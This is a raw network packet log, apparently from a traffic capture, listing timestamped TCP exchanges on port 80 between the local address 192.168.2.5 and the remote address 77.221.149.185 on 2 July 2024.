Jul 2, 2024 22:52:33.268332958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268338919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268361092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268384933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268511057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268522024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268559933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268665075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268677950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268688917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268701077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268709898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268712044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268723965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268734932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268738031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268747091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268758059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268769026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268774033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268780947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268805027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268812895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268944979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268955946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268968105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268980026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268985033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269001961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269113064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269124031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269134998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269145966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269148111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269159079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269170046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269172907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269187927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269196987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269200087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269229889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269397974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269409895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269438982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269479036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269490004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269500017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269511938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269512892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269524097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269535065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269539118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269545078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.269568920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.269588947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271256924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271267891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271281958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271313906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271317959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271326065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271337986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271348953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271370888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271384954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271498919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271512032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271522999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271533012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271544933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271544933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.271573067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271588087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.271599054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272093058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272104025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272116899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272129059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272136927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.272140026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272150993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272166967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.272175074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.272202015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.272213936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.272603989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.355254889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355269909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355288029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355326891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.355412960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355431080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355443001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355457067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.355479002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.355659008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355670929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.355717897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356046915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356059074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356070995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356103897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356187105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356199980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356209993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356221914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356234074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356261015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356333971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356345892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356364012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356374979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356379986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356385946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356396914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356409073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356409073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356420040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356431007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356434107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356455088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356468916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356648922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356662035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356673956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356686115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356709003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356728077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356806040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356820107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356829882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356843948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356854916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356857061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356864929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356892109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356904030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356916904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356918097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356928110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356941938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356952906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356964111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356969118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356975079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356983900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.356987000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.356997967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357021093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357048988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357301950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357314110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357326984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357337952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357350111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357352018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357363939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357393980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357492924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357506037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357517958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357528925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357546091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357557058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357562065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357568026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357589960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357593060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357597113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357635021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357827902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357839108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357856989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357868910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357876062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357878923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357889891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357901096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357904911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357912064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357923031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357929945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357933044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357944965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357955933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357959986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357968092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357978106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.357985020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.357990026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358002901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358016014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358177900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358222961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358258963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358270884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358282089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358294964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358305931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358305931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358315945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358333111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358369112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358551979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358563900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358575106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358586073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358597040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358603001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358608007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358633041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358669996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358675957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358691931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358705044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358716011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358726978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358736038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358737946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358750105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358758926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358760118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358772039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.358782053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.358793974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.359574080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359625101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.359636068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359648943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359692097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.359781027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359793901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359805107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359816074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359826088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.359827042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.359922886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.359992027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360003948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360019922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360032082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360039949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.360043049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360054016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360059023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.360083103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.360349894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360361099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360374928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360393047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360399008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.360404015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.360429049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.360441923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.360965014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.361044884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.361089945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.444411039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444499016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444509029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444525957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444535971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444549084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444559097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444560051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.444569111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.444621086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445241928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445250988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445261002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445296049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445321083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445332050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445343018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445353031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445358038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445384026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445458889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445468903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445483923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445492983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445496082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445529938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445564032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445574045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445583105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445595980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445611954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445631027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445681095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445689917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445699930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445712090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445718050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445724010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445733070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445743084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445744038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445753098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445763111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.445764065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445780993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.445821047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446306944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446317911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446327925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446337938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446346998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446356058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446362019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446366072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446374893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446384907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446392059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446397066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446413040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446419001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446429014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446430922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446438074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446446896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446456909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446465969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446469069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446479082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446485043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446501970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446511030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446511984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446521997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446532965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446547985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446573973 CEST	49712	80	192.168.2.5	77.221.149.185
